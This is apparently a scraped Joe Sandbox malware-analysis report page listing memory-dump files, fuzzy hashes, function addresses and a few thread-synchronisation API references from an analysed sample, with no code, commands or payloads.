Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a83a811e7568ede7c3902554c757a36b6cd4e122917123840bb20ca2ad1421
Instruction ID: 5d7938395a200503d051f986a3cb7031c64bb47cc90af0ad7245ffae749214c5
Opcode Fuzzy Hash: c4a83a811e7568ede7c3902554c757a36b6cd4e122917123840bb20ca2ad1421
Instruction Fuzzy Hash: 77810F70E042558FDB15CF68D8917EEBBF1FB1A300F1802A9D850A7753C7359A59DBA0

Function 05380944 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2370737337.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 926618b045853b651e3d878ebc9ff111b02d75b57259eb73d57a7040efd8d1a9
Instruction ID: 03b69e377b4c1c67a363ea58f3a01d06a069b4382ec964c392e508c11c2a46a2
Opcode Fuzzy Hash: 926618b045853b651e3d878ebc9ff111b02d75b57259eb73d57a7040efd8d1a9
Instruction Fuzzy Hash: C63109E714D3647EF20AE1812B696F6AB2EE6C3730330446BF817D6952D28A0E0E4171

Function 00B878BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ba7a06340b9f4307fb992c771ea62c3e1c9113842b067ddc9c1263fba13f4b5
Instruction ID: 4a5b392be48cd0d5bb4e531ebec975343fdcecdf30f8cf4d90cb4fa422278402
Opcode Fuzzy Hash: 0ba7a06340b9f4307fb992c771ea62c3e1c9113842b067ddc9c1263fba13f4b5
Instruction Fuzzy Hash: 2A21B673F2043957770CC47ECC5327DB6E1C78C541745427AE8A6EA2C1D968D917E2E4

Function 00B8779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 132e7b99fca697d8e847497125e9a17ff6e68e44ff9966c2393523b668609d7c
Instruction ID: a6d922616339abf1af8c8d51fae74fa40215c64fc0a689388c29e752670574ad
Opcode Fuzzy Hash: 132e7b99fca697d8e847497125e9a17ff6e68e44ff9966c2393523b668609d7c
Instruction Fuzzy Hash: AD11C623F30C256B675C816D8C172BAA5D2EBD824431F433AD826E7284E8A4DE23D390

Function 00B88860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: d85f2411129db24010a83e77cc5795e609923b54411b77449214282389bc9f45
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: FB112B7720018287E614A62DD8F45B7A7D5EBC53217EC43FAD0418B7B8DA22E945DB00

Function 05380BB8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2370737337.0000000005380000.00000040.00001000.00020000.00000000.sdmp, Offset: 05380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5380000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdfc40e774ea8220b4c1cf06459ae2c60b373eda0023b62a5bbf08ff4835ac1c
Instruction ID: 22d5e2a8f3ef90bb34583281f1e4ed60d0b99c0b43d842a6f9d19c8a0fdfdda3
Opcode Fuzzy Hash: bdfc40e774ea8220b4c1cf06459ae2c60b373eda0023b62a5bbf08ff4835ac1c
Instruction Fuzzy Hash: 04F0E9B610C3C0AEF70ED6649E58DFA7B7EDAC1324329886BF842CA412C3144C4E8531

Function 00B7A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360790589.0000000000D39000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360991999.0000000000D3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361701979.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2362951847.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364636967.0000000000D49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2366054539.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367002352.0000000000D4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367106134.0000000000D4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367150172.0000000000D4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367183920.0000000000D4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367279513.0000000000D59000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367322195.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367409414.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367448410.0000000000D77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367479257.0000000000D8F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367555742.0000000000D99000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367589272.0000000000D9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367614391.0000000000DA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367683629.0000000000DA8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367749770.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367779403.0000000000DB4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367807777.0000000000DB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367878516.0000000000DC2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367911571.0000000000DC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2367980915.0000000000DC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368009426.0000000000DC8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368073156.0000000000DC9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368101697.0000000000DCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368137725.0000000000DED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368163776.0000000000E15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368226949.0000000000E2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368246040.0000000000E2D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368275745.0000000000E43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368298347.0000000000E44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368319075.0000000000E45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368343343.0000000000E48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368364594.0000000000E4A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368393108.0000000000E59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368419867.0000000000E5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 558879f9b99afb657dc6b41f5474de0bde02f10480af58b60739de7d00d6e37d
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: 85E08C32921228EBCB14EF98C904D8EF7ECEB89B00B668096F515D3191C270DF00CBD4

Function 00B42EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B42F5F
GetCurrentThreadId.KERNEL32 ref: 00B42F7E
__Mtx_unlock.LIBCPMT ref: 00B42FCC
__Cnd_broadcast.LIBCPMT ref: 00B42FE3
__Mtx_unlock.LIBCPMT ref: 00B430F5
GetCurrentThreadId.KERNEL32 ref: 00B43132
__Mtx_unlock.LIBCPMT ref: 00B4319B

Memory Dump Source

Source File: 00000000.00000002.2357683222.0000000000B41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B40000, based on PE: true

Associated: 00000000.00000002.2357652479.0000000000B40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357683222.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357914060.0000000000BA9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2357961996.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358029255.0000000000BB5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358067941.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358100861.0000000000BB7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358682016.0000000000D0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359184079.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359915702.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
